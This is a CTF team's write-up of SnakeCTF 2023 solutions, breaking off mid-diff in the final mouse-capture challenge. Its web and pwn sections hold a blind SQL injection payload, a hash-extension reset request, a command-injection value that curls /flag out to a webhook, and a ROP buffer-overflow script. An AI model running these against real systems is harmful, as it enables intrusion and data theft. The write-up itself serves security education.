SnakeCTF 2023

Categories index
Web - Pwn - Osint - Network - Misc

Web

smartest fridge

I love my smart fridge so much.

https://smartest-fridge.snakectf.org

Visiting the site of this warmup challenge there’s an error message telling us that we are not a fridge! (I sure hope we are not)

fridge

But, for the sake of the challenge, let’s try to mimic a fridge by changing our User Agent.

After a bit of searching we managed to impersonate a fridge with the following User-Agent:

GET / HTTP/1.1
Host: https://smartest-fridge.snakectf.org/
User-Agent: Mozilla/5.0 (SmartFridge; U; HarmonyOS 2.0; en-US; ModelHuaweiFridge) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4924.64 Safari/537.36

HTTP/2 200
host: smartest-fridge.snakectf.org
content-type: text/html; charset=UTF-8
⋮
<html>

<head>
    <link rel="stylesheet" href="css/main.css">
    <title>Are you a smart fridge?</title>
    <link rel="icon" type="image/x-icon" href="/pictures/huahei.png">
</head>

<body>
    <div class="welcome">
        <p>This page is allowed only to the smartest of the smart fridge</p>
    </div>
    <div class='success'>
                <p>
                    <b>*brrr*</b>... Here's your flag: snakeCTF{***}
⋮

🏁 snakeCTF{w3lc0m3_t0_snakectf_w3bb3r}

springbrut

The app our new intern made must have some issues, because I saw him checking some weird numbers… Can you figure it out?

https://springbrut.snakectf.org

Attachment: web_springbrut.tar

This challenge is written in Java using the Spring Framework. It apparently contains just an admin login form and a bot that authenticates every few seconds and performs some kind of healthcheck.

Let’s look at the source; the app only contains the /login and /auth/flag routes. The /auth/flag route is the target as it prints the flag, but only if authenticated.

@Controller
@RequestMapping("/auth")
public class AuthController {
  @GetMapping("/helloworld")
  public String salutavaSempre() {
    return "status";
  }

  @GetMapping("/flag")
  public ResponseEntity<String> flaggavaSempre() {
    File f = new File("/flag");
    String flag;
    try {
      InputStream in = new FileInputStream(f);
      flag = new String(in.readAllBytes());
      in.close();
    } catch (Exception e) {
      flag = "PLACEHOLDER";
    }
    return new ResponseEntity<String>(flag, HttpStatus.OK);
  }
}

There isn’t any vulnerability on the server side; but there’s something interesting in the source of the client-side website:

const setMetric = (name) => {
  fetch(`/actuator/metrics/${name}`).then(res => res.json()).then(json => {
    console.log({json});
    self.postMessage({name, value: json.measurements[0].value});
  });
};

The app might be using the “Spring Actuator” module to gather metrics.

⋮
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
⋮

It is indeed doing so, and furthermore it has enabled all the available endpoints; even some that maybe shouldn’t be exposed to the public…

management.endpoints.web.exposure.include=*
GET /actuator HTTP/2
Host: springbrut.snakectf.org

HTTP/2 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
⋮

{
  "_links": {
    ⋮
    "heapdump": {
      "href": "https://springbrut.snakectf.org/actuator/heapdump",
      "templated": false
    },
    ⋮
  }
}
GET /actuator/heapdump HTTP/2
Host: springbrut.snakectf.org

HTTP/2 200 OK
Content-Type: application/octet-stream
Content-Length: 54594327
⋮

In the dump it’s possible to find the username/password credentials: username=admin&password=DGcZvIYwahxgqIBJyOw7Tk2WVwLKFZ4b.

After logging in, it’s just a matter of calling /auth/flag et voilà!

🏁 snakeCTF{N0_m3morY_L3akS???}

phpotato

Dear crypto bro, I know you’re sad the dogecoin is doing bad. I made this app so we can share our favorite numbers and crunch them together.

https://phpotato.snakectf.org

Attachment: web_phpotato.tar

Note: After solving the challenge the author confirmed to us that our solution was unintended. Given that the unintended solution made use of one of the many quirks that PHP has, a PHP meme is more than necessary.

php being php

Anyway, the app consists of an intricated system of lambda functions and event-based hooks that allow users to create and execute pipelines made of instructions.

More precisly, only the admin user is allowed to create and execute these pipelines. So, first step: get admin access.

The app uses a MySQL database that is queried by the backend using many raw queries. One of these queries is injectable:

$handle_get = fn(&$mysqli, &$account_numbers) =>
    ($query = "SELECT * FROM numbers WHERE user_id = " . $_SESSION['id']) &&
    (isset($_GET['sort']) ?
        ($query .= " ORDER BY processed_date " . $_GET['sort'])
        : true
    ) &&
    (isset($_GET['limit']) ?
        ($query .= " LIMIT " . $_GET['limit'])
        : true
    ) &&
    (print($query)) && # added to understand the result
    ($query_result = $mysqli->query($query)) &&
    ($res = $query_result->fetch_all(MYSQLI_ASSOC)) &&
    ($account_numbers = implode(array_map($render_number, $res))
    );

Based on this, we need to find a way to control the sort query parameter to be able to inject our payloads.

Let’s first understand how the app rewrites the URLs to make them pretty.

php_flag register_globals off

RewriteEngine on
RewriteBase /

RewriteRule ^/?$                                                        /index.php?page=home                                [L]

# TODO: FIX and make it better

RewriteRule ^(home|login|register|admin)$                               /index.php?page=$1                                  [NC,L]

RewriteRule ^(home|admin)/sort-(asc|desc)/?$                            /index.php?page=$1\&sort=$3                         [NC,L]
RewriteRule ^(home|admin)/sort-(asc|desc)/limit-([^/]+)/?$              /index.php?page=$1\&sort=$3\&limit=$4               [NC,L]

RewriteRule ^(home|admin)/p-([^/]+)/?$                                  /index.php?page=$1\&precision=$2                    [NC,L]
RewriteRule ^(home|admin)/p-([^/]+)/sort-(asc|desc)/?$                  /index.php?page=$1\&precision=$2\&sort=$3           [NC,L]
RewriteRule ^(home|admin)/p-([^/]+)/sort-(asc|desc)/limit-([^/]+)/?$    /index.php?page=$1\&precision=$2\&sort=$3\&limit=$4 [NC,L]

RewriteRule ^(home|login|register|admin)\.php$ -                                                                            [NC,F,L]

So, it’s actually possible to control the sort parameter using the full URL (/index.php?page=home&sort=PAYLOAD) instead of the short one.

To recover the admin password in the users table a time-based blind injection seemed the most reasonable.

⋮
CREATE TABLE users
(
        id int NOT NULL AUTO_INCREMENT PRIMARY KEY,
        username varchar(255) UNIQUE,
        password varchar(255),
        is_admin boolean
);
⋮
INSERT INTO users(id, username, password, is_admin) VALUES (1, 'admin','REDACTED', true);
⋮

Therefore, based on the schema of the databse, the final injection was:

GET /index.php?page=home&sort=AND+(SELECT+1+FROM+users+WHERE+username+%3d+'admin'+AND+HEX(password)+LIKE+'7734%25'+AND+SLEEP(1)) HTTP/2
Host: phpotato.snakectf.org

After scripting a bit, the admin password is w4GNskGHWrfmodOhtc04dphIttnBhEcT

With the admin credentials we can access the pipeline creation process at /admin

pipeline-creation

Here are the most important snippets from the source code:

First, the flag is defined globally as FLAG

$define_flag = fn() => define('FLAG', getenv('FLAG'));

Second of all, pipelines are created with a request, and then processed with another one. After creating a pipeline, this is the lambda function that handles the processing part:

$handle_post_process = fn(&$mysqli) =>
    ($stmt = $mysqli->prepare('SELECT id, num, pipeline FROM numbers WHERE user_id = ? AND id = ?')) &&
    $stmt->bind_param("ii", $_SESSION['id'], $_POST['id']) &&
    $stmt->bind_result($id, $num, $pipeline) &&
    (
        ($res = $stmt->execute()) &&
        $stmt->fetch() &&
        ($pipeline_e = explode("\n", $pipeline)) && //newline separates istructions
        ($_SESSION['pipeline']['instructions'] = array_map($parse_instruction, $pipeline_e)) &&
        (($_SESSION['pipeline']['num'] = $parse_number($num)) || $_SESSION['pipeline']['num'] == 0) &&
        ($_SESSION['pipeline']['id'] = $id) ?
        set_user_hook('start_processing')
        : set_user_hook('something_wrong')
    ) || header('Refresh:0') || exit();

The lines 8-11 are the most important as the variables $id, $num and $pipeline are user-controlled, and are reflected on the page.

Line 10 is especially interesting as it calls the $parse_number lambda:

$parse_number = fn($num) =>
    (
    $num != '' &&
    ($num = trim($num)) &&
    ctype_digit($num) ?
    intval($num)
    : (defined($num) && $num != "FLAG" ?
        constant($num)
        : 0
    )
);

If $num is a number, it is displayed as such, otherwise, the global variable the given name is returned. The only limitation is that our input, $num, can’t be the string FLAG.

Let’s recap:

  • $num is in our control.
  • the flag is the global constant called FLAG.

What it’s missing? Only one last php quirk. The FLAG string is not allowed, okay, but what if the global definition had some other way to be referenced?

It turns out that the constant function also supports classes/enum constants (Foo::Bar), and namespaces (/NameSpace/Foo::Bar). Therefore, $num can be set as /FLAG and after processing the pipeline, the flag is set as the pipeline number and shown to everyone on the board.

🏁 snakeCTF{w4it_th15_IsN7_!_krYpt0}

kattinger

Fellow cat lovers, I made an app to share our favorites!

https://kattinger.snakectf.org

Attachment: web_kattinger.tar

Unfortunately, we solved this challenge shortly after the end of the CTF. It was really interesting though; so we’ll include our writeup of this one too.

This app was written in ruby using RoR and a few other modules. To get a rough idea:

source 'https://rubygems.org'
git_source(:github) { |repo| "https://github.com/#{repo}.git" }

ruby '3.0.6'

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem 'rails', '~> 7.0.4', '>= 7.0.4.3'

# The original asset pipeline for Rails [https://github.com/rails/sprockets-rails]
gem 'sprockets-rails'

# Use sqlite3 as the database for Active Record
gem 'sqlite3', '~> 1.4'

# Use the Puma web server [https://github.com/puma/puma]
gem 'puma', '~> 5.0'

# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem 'curl'
gem 'rmagick'
gem 'tzinfo-data'

⋮

After registering with a random user this is the homepage:

homepage

A carousel of 🐱 cats photos 🐱 greets us!

As the codebase is quite extended and complex, we’ll skip the overview and go directly to the steps to solve this challenge:

  1. Find username of an user with admin privileges
  2. Exploit reset_submit functionality, using a Hash Length Extension attack, to retrieve the admin account password
  3. Exploit a command injection in the cats images preview feature to read the /flag file

First, the most relevant part is that reset_submit is vulnerable.

⋮
def reset_submit
    if logged_in?
      redirect_to root_path
      return
    end
    @account = User.new

    # GET
    if request.get?
      render :reset_submit
      nil
    else
      # POST
      unless User.exists?(username: params[:user][:username].last(8))
        @message = 'User not found!'
        render :reset_submit, status: :unprocessable_entity
        return
      end

      unless check(params[:user][:username], params[:user][:reset_token])
        @message = 'Wrong reset token!'
        render :reset_submit, status: :unprocessable_entity
        return
      end

      @account = User.find_by(username: params[:user][:username].last(8))
      @message = "Sorry, we're still building the application. Your current password is: " + @account.password
      render :reset_submit, status: :gone
      nil
    end
  end
⋮

Going bottom-up, at line 28 the password of the account specified by us is printed out.

To get there, the user must exist and the check() function must return True.

It should now be clear why in the sourcecode provided the admin username was REDACTED. Later on we’ll check how to get this username, for now, let’s finish analyzing the function at hand.

check() makes sure that the reset_token generated for the account is the same as the one provided by the user. Theoretically, this token would be unique and would only be sent to the user by email. Allowing the user to later confirm their identity before resetting their password.

module UsersHelper
    require 'digest'

    def cipher(username)
        generator = Digest::SHA256::new
        generator << ENV['SECRET'] + username

        return generator.hexdigest()
    end

    def check(username, token)
        generator = Digest::SHA256::new
        generator << ENV['SECRET'] + username

        return generator.hexdigest() == token
    end
end

Here, cipher() is called somewhere else to initialize an account reset_token; check() is the one seen in the previous snippet.

This is clearly vulnerable to an hash length extension attack, if you have ever seen one.

Furthermore, note how in users_controller.rb at line 15 and 27, only the last 8 characters of our input are used, but, for checking the token the whole line is used (line 21).

A hash length extension attack seems possible. Even if our input string changes (look at the repo linked above) only the last 8 chars are used, and we can control those.

Our last step is to hope that the admin username has length 8. Spoiler: that’s exactly right!

So, let’s find this admin username. This is quite straight-forward as route /users/:id view reveals the username and whether that user is an admin.

<% content_for :content do %>
  <% content_for :subcontent_1 do %>
    <div class="row ">
      <h4 class="card-title center-align black-text">Account information</h4>
    </div>
    <div class="row padded-lr-5">
      <label for="username" class="black-text">Username</label>
      <p class="black-text" name="username">
        <%= @account.username %>
      </p>
    </div>
    <div class="row padded-lr-5">
      <label for="admin" class="black-text">admin</label>
      <p class="black-text" name="admin">
        <%= @account.username === ENV['ADMIN_USER'] %>
      </p>
    </div>
    ⋮

The users IDs are incremental, so, after a quick scan we found the admin user at the id 76 with the username 4dm1n_54.

Good, let’s register a user asdfff, generate the reset_token calling /reset with both the admin username and ours, and let’s perform this Hash Length Extension attack:

1) Get asdfff reset_token from the Account page: 6bf6afb6be14fdf510757661524d0e9017c6907f606ffb7cd593e9dd831eacf6

2) extend it: (the length can be seen in the docker-compose.yaml)

~$ hash-extender -d asdfff -s 6bf6afb6be14fdf510757661524d0e9017c6907f606ffb7cd593e9dd831eacf6 -a 4dm1n_54 -f sha256 -l 32
Type: sha256
Secret length: 32
New signature: 612f6c80243651c32c1683145e3be84efe31a2338fda0ca11ce72b23f9b6834c
New string: 617364666666800000000000000000000000000000000000000000000000013034646d316e5f3534

3) Send a reset request for the admin user:

POST /reset_submit HTTP/2
Host: kattinger.snakectf.org
Cookie: _kattinger_session=...
⋮
authenticity_token=...&user%5Busername%5D=%61%73%64%66%66%66%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%30%34%64%6d%31%6e%5f%35%34&user%5Breset_token%5D=612f6c80243651c32c1683145e3be84efe31a2338fda0ca11ce72b23f9b6834c&user%5Bpassword%5D=&commit=Reset+it+now


HTTP/2 410 Gone
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html>
    ⋱
    <div class="center">
      <span class="error">Sorry, we&#39;re still building the application. Your current password is: WOQpcmueCgBuXkMHQeJd0f8XVp0cO1Px</span>
    </div>
      ⋮

With these credentials, 4dm1n_54:WOQpcmueCgBuXkMHQeJd0f8XVp0cO1Px, we can now log-in as an admin.

Finally, let’s exploit the images preview feature and get the flag.

module CatsHelper
    require 'curl'
    require 'rmagick'
    require 'base64'
    require 'timeout'

    include Magick

    def process_image(image_path)
        p "Processing: " + image_path
        image_path = image_path.encode!("utf-8").scrub()
        if image_path.start_with?('http') || image_path.start_with?('https')
            curl = CURL.new({:cookies_disable => false})
            curl.debug=true
            p image_path
            filename = Timeout::timeout(3) do
                curl.save!(image_path)
            end
            p filename
        else
            filename = image_path
        end
        processed = ImageList.new(image_path)
        processed = processed.solarize(100)
        result = 'data://image;base64,' + Base64.strict_encode64(processed.to_blob())
        File.unlink(filename)
        return result

    end
end

Here, image_path is the location specified by the user when adding a new cat to the collection. From the app console output we saw that the actual command executed underneath by the library is the following:

curl --user-agent "Googlebot/2.1 (+http://www.google.com/bot.html)" --location --compressed --silent "OUR_IMAGE_PATH" --output "/tmp/curl/curl_0.6715324541398725_0.13914753312651085.jpg"

Through some trial and error, looking at the console output, we noted that the CURL library call is vulnerable to command injection.

Let’s change the cat’s image location with the following one:

https://webhook.site/YOUR_UUID/start" && curl -X POST -H "Content-Type: multipart/form-data" -F "data=@/flag" https://webhook.site/YOUR_UUID/flag && cat -- "

Asking for a preview of this image leads to the server sending us the flag at the specified webhook.

🏁 snakeCTF{I_th0ugh7_it_w4s_4_k1tten}

Pwn

military grade authentication

We just started using this military-grade software to authenticate accesses to our infrastructure.

We don’t really understand it, but I’m sure that it’s secure! We don’t know the password either, after all!

nc pwn.snakectf.org 1337

This challenge gives us a binary file which checks for a password:

if ( read(0, s1, 128uLL) <= 0 )
    err(1, "read broken lol");
  if ( !strcmp(s1, (const char *)buf) )
  {
    puts(&s);
    get_shell();
  }

the error is obviously in the use of strcmp, as it stops when it finds a null byte, so to bypass the check we just need to send null bytes and the program will authenticate us as if the password is correct:

r.sendline(b'\x00' * 128)

And we get the shell!

🏁 snakeCTF{h1pp17y_h0pp17y_7h47’5_my_pr0p3r7y}

obligatory bof

Well, you gotta do what you gotta do!

nc pwn.snakectf.org 1338

this is the decompiled code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  buf[3] = 0LL;
  init(argc, argv, envp);
  printf("Well, just tell me what to do: ");
  read(0, buf, 256uLL);
  puts("Ok, got it!");
  return 0;
}

We can see that read() is vulnerable to buffer overflow, and if we look with checksec, we see that no protections are active except for NX. Also, you can find the libc version used by checking inside the docker environment.

The way to solve this is to exploit the bof two times: get a libc leak by printing a got address and calculate libc base address, then return to main and exploit the bof again to return to one_gadget that will call system(“/bin/sh”).

Here is the script:

def main():
	offset = 40
	rop = ROP(exe)

	# bof to leak libc
	payload = flat(
		'A' * offset,
		p64(rop.find_gadget(['pop rdi', 'ret']).address),
		p64(exe.got.puts),
		p64(exe.plt.puts),
		p64(exe.sym.main)
	)
	sl(payload)
	ru("it!\n")

	leak = u64(rl()[:-1] + b'\x00' * 2) # libc leak
	libc.address = leak - libc.sym.puts # find libc base addr
	rop2 = ROP(libc)

	# ret2 one_gadget after setting constraints
	payload2 = flat(
			'A' * offset,
			p64(rop2.find_gadget(['pop r15', 'ret']).address),
			p64(0),
			p64(rop2.find_gadget(['pop r12', 'ret']).address),
			p64(0),
			p64(libc.address + 0xe3afe) # one gadget
	)

	sl(payload2)
	r.interactive()

🏁 snakeCTF{w3lc0m3_70_5n4k3c7f_pwn3r}

OSINT

flightyflightflight

Look mum I can fly!

Flag format: snakeCTF{IATAcode_ICAOcode}

We were given a video taken from inside an airplane during takeoff and tasked with finding the airport it was departing from (in particular its IATA and ICAO codes). The heavy fog made recognizing the landscape impossible and there were no indicators of time and day (we estimated the runway’s heading and rough time of the day through the way the sun shone on the clouds’ tops, but that wasn’t enough to work on), so we took a different approach.

In the first few frames another airplane can be seen rolling on an adjacent taxiway, and with a bit of effort its branding can be recognized as Volotea:

Volotea airplane

Other important details were the location of the tower and the size and shape of the gates:

Control tower and gates (front) Gates (side)

Volotea’s website shows a list of airports they operate in, so it was just a matter of iterating over satellite imagery of each of them to find a matching one.

Volotea airports list

Finally we found a match with Venice: the heading of the runway, size and shape of the gates, control tower location, and orientation of the ramps all seemed correct.

VCE-LIPZ satellite view

🏁 snakeCTF{VCE_LIPZ}

snakemas is coming

Luckily, the most beautiful season of the year is near.

I need to decorate my house with the coolest things ever!

I found this super big mall on the internet who sells the perfect decoration!!!

But I don’t have money :(

I need a plan to steal the decoration. Maybe I can hack the webcams to watch the security footages and find the perfect moment to act!

I can try my new hacking attack!

Here are the commands:

1. e4 e5 2. b3 *

Flag format: snakeCTF{TheNameOfTheAttack}

We took like one second to understand that the symbols were a notation for a chess opening move. We took a ridiculous amount of time to find the correct attack and flag format. Looking on Google we found different names for this opening like the Charles opening. There was nothing very fun about the solution, we just realized that Christmas was actually useful for the search and we found the Santa Claus Opening. What did we learn with this challenge? If playing chess someone made me a Santa Claus opening I would know how to annihilate him.

santa

🏁 snakeCTF{SantaClausAttack}

first hunt

Hey! We intercepted this strange message, I think we finally found them. Let me know if you find something

In this challenge we are given an email (info.eml) that contain the message:

service information:

°°°°°°°°°°°°°°°°°°°°°°the usual link has changed

paste it somewhere and delete this mail after.

There are no strange headers to analyze so we excluded the path of email forensics analysis. At this point we focused on the sender and receiver emails: mailacasissimopippo@gmail.com and wazzujf2@slimy.lol. Using Osint tools for emails we didn’t find anything interesting. Then we thought that the message of the mail could be somehow important. Maybe wazzujf2@slimy.lol had pasted something on the internet! We looked on Pastebin, the most popular place on internet to paste text, and we quickly found the profile of wazzujf2 and its only note:

For my favourite shop!!!!!!! -> https://e2ueln4vgn6qj2q4vwkcntkeg3ftinizb3ewjkahd2aoior33dbts3qd.onion

user: wazzujf2@slimy.lol
pass: hYpYxWRvHvKBzDes (i hope this is secure enough)

todo: burn this!

After visiting the url and logging in the with the credentials in the note, the flag appears in plaintext.

🏁 snakeCTF{h1dd3n_s3rv1ce5_4re_fuN_t0_bu1ld}

Network

closed web net

I have this old 2006 home automation gateway, but I lost the password to access it. I have a pcap file of the network traffic between it and a client. Can you help me?

Flag format: snakeCTF{PASSWORD_MODELNAME_FIRMWAREVERSION}

Note: the firmware version must be in the format V.R.B where V, R and B are numbers.

With this kind of net/forensic challenges a good place to start from is the Protocols Hierarchy view in Wireshark:

protocols hierarchy

After going down a useless rabbit hole with Mikrotik discovery packets (the current dissector for which appears to be broken in some way), it all suddendly made sense when we took a peek at the Resolved Addresses panel and cross-referenced it with non-TLS packets, effectively removing most of the noise that we could probably ignore:

resolved addresses

This host spoke OpenWebNet, Bticino/Legrand’s home automation protocol that was in vogue in the early 2000’s. We lucked out by having a team member recognize it due to its peculiar cleartext format, but Googling some basic messages such as *#*1## would have also yielded some promising results. The name of the challenge was actually quite a big hint after all.

Reading these payloads isn’t particularly difficult, but a dissector exists so we used it to speed up our work.

dissected packets

The description of the challenge called for a password, a model name and a firmware version. We retrieved those in reverse thanks to various articles found on the web, since the official documentation is partially lost in time.

Here is the exchange requesting and obtaining the version, 3.1.16:

version message

And the one requesting and obtaining the model, which according to the article linked above corresponds to F452:

version message

The only thing left to extract was the password, which uses a known but annoying algorithm. We didn’t fancy reversing it so, while one of us was busy writing a small bruteforcing script basing on the nonces and cyphertexts present in the capture, another team member applied Occam’s razor and tried submitting the flag with the default password of 12345. It was accepted :)

🏁 snakeCTF{12345_F452_3.1.16}

peculiar internet noteworthy gizmo 1

The network was dead quiet. Yet, in the eerie silence, I could almost feel the netadmin’s presence, their thoughts and intentions woven into the very fabric of the IPAM.

Note: nmap is allowed INSIDE the instance.

We are not given many information in this challenge just a mention to IPAM so something related to IP addresses. We noticed that the initial letters of the words in the title composed the word ping. So we firstly tried to ping some stuff in the network. We also noticed, while looking at the available bin commands, that we had nmap available (the note about it in the description had not been released yet). Looking at the result of ip a we can notice a “chall” network:

-bash-5.2$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: chall: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
    link/ether ce:22:7c:6f:80:a7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.0.1/23 scope global chall
       valid_lft forever preferred_lft forever
1350: eth0@if1351: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:1f:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.31.3/24 brd 172.17.31.255 scope global eth0
       valid_lft forever preferred_lft forever

so we decided to scan the network with nmap -n -sn -T5 10.10.0.1/23. We found some host up (133 out of 512) and we noticed that they were following some kind of pattern. We tried to transform the host up and down into 1 and 0 and checked if there was some kind of binary encoded message. We were really close to the solution but at this point we hopped to the part 2 of the same challenge because we thought that its hint was more clear.

When we flagged the second chall we came back on this one, with the understanding that representing addresses with some encoding was the right way to go. We tried to use different graphical representations and after many tries morse code turned out to be the right one.

points = ['0.1', '0.2', '0.119', '0.121', '0.123', '0.128', '0.129', '0.130', '0.132', '0.137', '0.139', '0.140', '0.141', '0.146', '0.147', '0.148', '0.150', '0.152', '0.153', '0.154', '0.159', '0.164', '0.165', '0.166', '0.168', '0.170', '0.171', '0.172', '0.174', '0.179', '0.180', '0.181', '0.186', '0.188', '0.190', '0.191', '0.192', '0.194', '0.199', '0.200', '0.201', '0.203', '0.205', '0.207', '0.212', '0.217', '0.222', '0.224', '0.225', '0.226', '0.228', '0.229', '0.230', '0.232', '0.237', '0.238', '0.239', '0.241', '0.243', '0.245', '0.250', '0.251', '0.252', '0.254', '0.255', '1.0', '1.2', '1.3', '1.4', '1.9', '1.10', '1.11', '1.13', '1.14', '1.15', '1.17', '1.18', '1.19', '1.24', '1.26', '1.27', '1.28', '1.30', '1.31', '1.32', '1.34', '1.39', '1.40', '1.41', '1.43', '1.44', '1.45', '1.50', '1.51', '1.52', '1.54', '1.55', '1.56', '1.58', '1.59', '1.60', '1.65', '1.67', '1.68', '1.69', '1.71', '1.76', '1.78', '1.80', '1.85', '1.90', '1.91', '1.92', '1.94', '1.96', '1.97', '1.98', '1.100', '1.105', '1.106', '1.107', '1.109', '1.110', '1.111', '1.113', '1.114', '1.115', '1.120', '1.121', '1.122', '1.124', '1.126', '1.131']

print(len(points))

indexes = []
for point in points:
    group,idx = point.split('.')
    new_index = int(group)*256 + int(idx)
    indexes.append(new_index)

values = []
for counter in range(0,2**9):
    values.append(counter in indexes)

for v in values:
    print('-', end='') if v else print(" ",end='')

#...   -.  .-    -.-   .   -.-.   -   ..-.   -...  .  .  .--.   -...   ---    ---   .--.   --    ---   .-.  ...  .   -.-.   ---    -..    .

🏁 SNAKECTFBEEPBOOPMORSECODE

peculiar internet noteworthy gizmo 2

The once-elusive netadmin’s messages now resonate clearly through the wider network, their intentions revealed for all of us to see.

Note: nmap is allowed INSIDE the instance.

This challenge follows the same idea as the previous one, but we actually found it easier. Easier given that this challenge had an hint that somewhat pointed us in the right direction from the start unlike the other one.

The hint was an old xkcd image.

To start off, as before, we mapped the network of IPs in the chall network (10.20.0.0/20) using nmap:

-bash-5.2$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: chall: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
    link/ether 86:5b:2c:ef:06:2c brd ff:ff:ff:ff:ff:ff
    inet 10.20.0.1/20 scope global chall
       valid_lft forever preferred_lft forever
1343: eth0@if1344: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:1e:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.30.3/24 brd 172.17.30.255 scope global eth0
       valid_lft forever preferred_lft forever

-bash-5.2$ nmap -n -sn -T5 10.20.0.0/20
⋮
Nmap scan report for 10.20.15.117
Host is up (0.0010s latency).
⋮

So, we had the idea of plotting the IPs in a grid using the hilbert curve pattern shown in the XKCD. Black square if the host is up, white if it’s not.

Having 4096 IPs, we used an algorithm that generated a hilbert curve of order 6 (?), which could be represented in a 64x64 grid.

Then it was a matter of parsing the nmap data and writing a plotter that actually worked.

It’s seems trivial explained like this, but it actually took us quite a few hours (👀 and the OpenAI’s power 👀) to get this right.

So, here’s the final script:

import matplotlib.patches as patches
import matplotlib as plt
import matplotlib.pyplot as plt
import numpy as np

def hilbert_curve(order):
    """
    Generate Hilbert curve coordinates for a given order.
    """
    def step(index):
        """
        Generate a single step in the Hilbert curve, using the binary representation of 'index'.
        """
        x, y = 0, 0
        s = 1
        while s < 2**order:
            rx = 1 & (index // 2)
            ry = 1 & (index ^ rx)
            x, y = rotate(s, x, y, rx, ry)
            x += s * rx
            y += s * ry
            index //= 4
            s *= 2
        return x, y

    def rotate(n, x, y, rx, ry):
        """
        Rotate/flip a quadrant appropriately.
        """
        if ry == 0:
            if rx == 1:
                x = n - 1 - x
                y = n - 1 - y
            return y, x
        return x, y

    return [step(i) for i in range(2**(order * 2))]


def draw_hilbert_pattern(array, order):
    """
    Draw a grid of blocks following the Hilbert curve pattern, coloring blocks based on the given array.
    """
    # Generate the Hilbert curve points
    hilbert_points = hilbert_curve(order)

    # Prepare the figure and axis
    fig, ax = plt.subplots(figsize=(8, 8))
    ax.set_xlim(0, 2**order)
    ax.set_ylim(0, 2**order)
    ax.set_aspect('equal', adjustable='box')
    ax.axis('off')

    # Draw each block
    block_size = 1
    for index, point in enumerate(hilbert_points):
        if index < len(array) and array[index]:
            rect = patches.Rectangle(point, block_size, block_size, linewidth=1, edgecolor='none', facecolor='black')
            ax.add_patch(rect)

    plt.title(f'Hilbert Pattern for Order {order}')
    plt.show()

# list with booleans that indicates if the relevant host is up or not.
# given an ip 10.20.x.y -> index = x*256 + y
values = [False, True, True, False, ...]

assert len(values) == 4096

# Draw the grid
draw_hilbert_pattern(np.array(values), 6)

and the resulting qr-code image:

qr-code

🏁 snakeCTF{next_time_map_all_internet_with_hilbert_curves}

Misc

black rat

I intercepted something weird, are we under attack? Should we be scared? Is this a prank? Please check and let me know

The PCAP we were given contained only USB packets (no need to dig through random noise, that’s a good start! …Maybe?) and, jumping straight to the juicy part, it seemed that the bulk of the data was being carried through URB interrupts in the form of HID payloads. There was just one problem, though: we were used to seeing HID payloads with a length of 8 bytes while these only contained 4 bytes, so our usual techniques and tools were not yielding any meaningful result.

4-bytes HID payloads

After digging through the obscure USB specs (and discovering that the HID standard contains specific handlers for “Tank Simulation” and “Pinball” devices, cool), we noticed that the device that was generating the most interrupts initially identified itself as an optical mouse.

Noisy device descriptors

This explained the difference in the payload size: keyboards send 8-bytes ones and mice (hence the “rat” in the name of the challenge, probably) only 4 (source 1, 2, 3):

Byte Meaning
1st Button presses (0x00 for none, 0x01 for left, 0x02 for right)
2nd Horizontal movement since last report (>0 for right, <0 for left)
3rd Vertical movement since last report (>0 for up, <0 for down)
4th Unknown?

Instead of rolling our own parser we tweaked an existing one to make it compatible with newer pyshark dissectors and add some much needed logging:

diff --git a/usb-mouse-pcap-visualizer.py b/usb-mouse-pcap-visualizer.py
index b1615f6..e60d84e 100644
--- a/usb-mouse-pcap-visualizer.py
+++ b/usb-mouse-pcap-visualizer.py
@@ -32,6 +32,9 @@ class MouseEmulator:
     def set_right_button(self, state):
         self.right_button_holding = state

+    def snapshot_str(self):
+        return f"X{self.x} Y{self.y} LMB:{'Y' if self.left_button_holding else 'N'} RMB:{'Y' if self.right_button_holding else 'N'}"
+
     def snapshot(self):
         return (self.x, self.y, self.left_button_holding, self.right_button_holding)

@@ -46,9 +49,9 @@ class MouseTracer:

 def load_pcap(filepath):
     cap = pyshark.FileCapture(filepath)
-    for packet in cap:
-        if hasattr(packet, 'usb') and hasattr(packet, 'DATA') and hasattr(packet.DATA, 'usb_capdata'):
-            yield packet.DATA.usb_capdata
+    for i, packet in enumerate(cap):
+        if hasattr(packet, 'usb') and hasattr(packet, 'DATA') and hasattr(packet.DATA, 'usbhid_data'):
+            yield (i, packet.DATA.usbhid_data)


 def parse_packet(payload):
@@ -71,11 +74,12 @@ def parse_packet(payload):

 def snapshot_mouse(filepath):
     mouse_emulator = MouseEmulator()
-    for i in load_pcap(filepath):
-        mx, my, lbh, rbh = parse_packet(i)
+    for i, pkt in load_pcap(filepath):
+        mx, my, lbh, rbh = parse_packet(pkt)
